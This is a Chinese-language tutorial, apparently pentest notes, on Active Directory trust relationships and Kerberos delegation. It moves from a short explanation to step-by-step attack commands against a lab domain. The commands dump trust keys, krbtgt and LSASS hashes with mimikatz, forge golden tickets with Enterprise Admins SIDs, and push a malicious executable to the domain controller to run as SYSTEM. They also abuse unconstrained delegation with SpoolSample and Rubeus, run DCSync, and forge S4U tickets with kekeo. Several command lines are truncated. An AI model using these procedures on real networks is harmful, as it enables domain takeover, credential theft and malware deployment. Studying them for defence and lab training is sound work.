建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用 DNS 服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域,也就不存在通过域信任关系进行跨域资源共享了
域信任关系分类
域信任关系分为单向信任和双向信任
单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,A 域信任 B 域,那么 B 域内受信任的主体可以访问 A 域内信任 B 域的资源。
双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通关其父域向上流向信任域
域信任关系也可以分为内部信任和外部信任
内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域 BA,CA,DA,BA 域信任 CA 域,CA 域信任 DA 域,则 BA 域也信任 DA 域。
外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。
只有 domain admins 组中的用户可以管理域信任关系

搭建和查看域信任关系
搭建域树(内部信任)
如果是复制的虚拟机请运行 C:\Windows\System32\sysprep\sysprep.exe 重新获取 SID,选择通用,重启
1、修改计算机名和修改 IP 地址,DNS 指向父域
2、安装 AD 域服务
3、升级为域控

4、添加到现有林
5、提供父域的账号密码
6、正常安装直到结束
搭建域森林(外部信任)
1、修改计算机名和修改 IP 地址,DNS 指向根域
2、安装 AD 域服务
3、升级为域控
4、添加到现有林
获取域信息
在域中,Enterprise Admins 组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有 Administrators 权限的成员
Enterprise admins 只在根域上有,并且能管理本域中所有的子域
查看当前域中计算机的权限
1 | whoami /all |
查看域信任关系
1 | nltest /domain_trusts |
使用 lg 工具获取域的相关信息
获取当前域中的用户组
1 | LG.exe abc\. |
获取远程机器的本地用户组
1 | LG.exe \\计算机名 -lu |
获取远程系统中的用户 SID
1 | LG.exe \\计算机名 -lu -sidsout |
# 利用域信任密钥获取目标域
使用 mimikatz 获取 当前域的 SID 父域的 SID 子域域管的 NTLM 信任密钥
1 | mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$" "lsadump::trust /patch" exit |
rc4-hmac-hash == NTLM hash
在普通的域内用户中创建创建高权限票据
1 | mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密 |
上传 asktgs.exe 和 kirbikator.exe 工具,asktgs.exe 伪造票据,kirbikator.exe 注入票据
创建 CIFS 服务的票据进行复制文件的操作
1 | shell asktgs.exe administrator.kirbi CIFS/DC.hack.com |
将票据注入内存
1 | shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi |
访问域控
1 | shell dir \\dc.hack.com\c$ |
服务恶意文件,如果复制失败,请注入 host 服务票据。
1 | shell copy 2.exe \\dc.hack.com\c$ |
伪造 host 服务,进行创建计划任务
1 | shell asktgs.exe administrator.kirbi host/DC.hack.com |
将票据注入内存
1 | shell kirbikator.exe lsa host.DC.hack.com.kirbi |
创建计划任务
1 | schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f |
执行计划任务
1 | schtasks /run /s dc.hack.com /i /tn "test" |
# 利用 krbtgt 哈希值获取目标域
获取 Krbtgt 散列
1 | lsadump::lsa /patch /user:krbtgt |
获取关键信息
1 | lsadump::trust /patch |
构造并注入黄金票据
1 | Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID- |
访问目标域
1 | dir \\dc.hack.com\c$ |
# 域内委派攻击概述
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
一个域内用户访问 WEB 服务,但是一些资源在文件服务上,这个时候就需要委派攻击

在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的 computers 组内的计算机,也被称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL 等;域用户通过注册 SPN 也能成为服务账号。
1 | net user test123 Admin@123 /add /domain 创建一个普通用户 |
# 非约束委派攻击
利用非约束委派域控主动访问控制域
1、使用 Adfifind 查询域内非约束委派机器账号
1 | AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
查询具有委派的服务账号
1 | AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368) |
3、这个时候如果域管访问了 pc-web 机器我们的内存中就会有域管的 TGT,就可以访问任意机器了,在
与域控上执行访问 PC-WEB (在域控上执行)
1 | net use \\PC-WEB.HACK.COM /user:hack\administrator Admin@123 |
4、去 pc-web 导出内存中的票据
1 | sekurlsa::tickets /export |
4、进行票据传递就可以获取域控的权限了
1 | mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi |
5、访问域控
1 | shell dir \\dc.hack.com\c$ |
利用非约束委派域控被动访问控制域控
控制了域内的一台机器 OA,并且该机器的服务账号配置了非约束委派,如下:一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRNRpcRemoteFindFirstPrinterChangeNotification (Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问已控的具有本地管理员权限的非约束性委派机器 OA ,从而拿到域管理员的 TGT,进而接管域控。(2008 机器可能复现不了,因为版本的问题)
进行实验之前一定要把所有的防火墙关闭
1、首先利用 Rubeus 在 OA 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息
1 | Rubeus.exe monitor /interval:1 /filteruser: DC$ |
再利用 SpoolSample 强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行
1 | SpoolSample.exe DC OA |
Rubeus 导入票据
1 | Rubeus.exe ptt /ticket:票据 |
获取域内用户的 hash
1 | lsadump::dcsync /all /csv |
# 约束性委派攻击
当这个用户不在域内,他在出差,不能使用 kerberos 去认证,只能使用其他协议认证 web 系统,那同样 WEB 系统也需要访问文件服务的资源,这个时候如何认证呢
Widnows Server 2003 之后微软引入了非约束委派。由于非约束委派的不安全性或者场景受限(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软于 2007 年为 Kerberos 协议进行扩展引入 S4U (service for user) 协议,该协议分为两个子协议
1、S4u2self(Service for User to Self)
2、S4U2proxy(Service for User to Proxy)
这两个扩展都允许服务代表用户从 KDC 请求票证
约束委派限制了 S4U2proxy 协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

存在的问题
1、服务账号 B 可以代表 A 申请访问 B 的票据,那么可不可以代表域管申请域管访问 B 的票据呢?在这个过程中,不需要域管参与,服务 B 自身就可以完成
2、服务账号 B 可以代表 A 申请访问 C 的票据,那么可不可以代表域管申请域管访问 C 的票据呢?在这个过程中,不需要域管参与,服务 B 自身就可以完成
约束性委派攻击流程
用户(A)访问 WEB 系统(B),B 代表 A 去向 KDC 申请访问 B 的 TGT 和 ST1 (使用 S4u2self), 用户 A 拿到了 ST1 就可以访问 B 了,如果在 B 上配置了约束性委派(A 到 C 的约束委派),则 B 能够使用 S4U2Proxy 协议将用户发给自己的可转发的 ST1 票据以用户的身份发给 KDC,KDC 返回 B 一个访问 C 的票据 ST2,这样 B 就可以以用户的身份访问 C

1 | 1.通过NTLM或者其他认证 |
伪造 A 的 TGT,向 KDC 申请 ST1,有了 ST1,可以使用 ST1 申请配置了对应服务的 ST2
我们已经控制了 ZS 的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的 HASH 值
1、查询约束性委派的机器和用户
1 | 查询约束委派机器账户 |
2、使用 mimikatz 获取机器账户 NTLM Hash
1 | mimikatz sekurlsa::logonpasswords |
3、使用 kekeo 申请配置了约束委派机器账户 PC-ZS$ 的 TGT
1 | kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178 /domain:hack.com" "exit" |
利用 TGT 通过伪造 S4U 请求以 administrator 身份访问 PC-ZS 的 ST
1 | kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit" |
mimkatz 注入
1 | mimikatz kerberos::ptt TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi |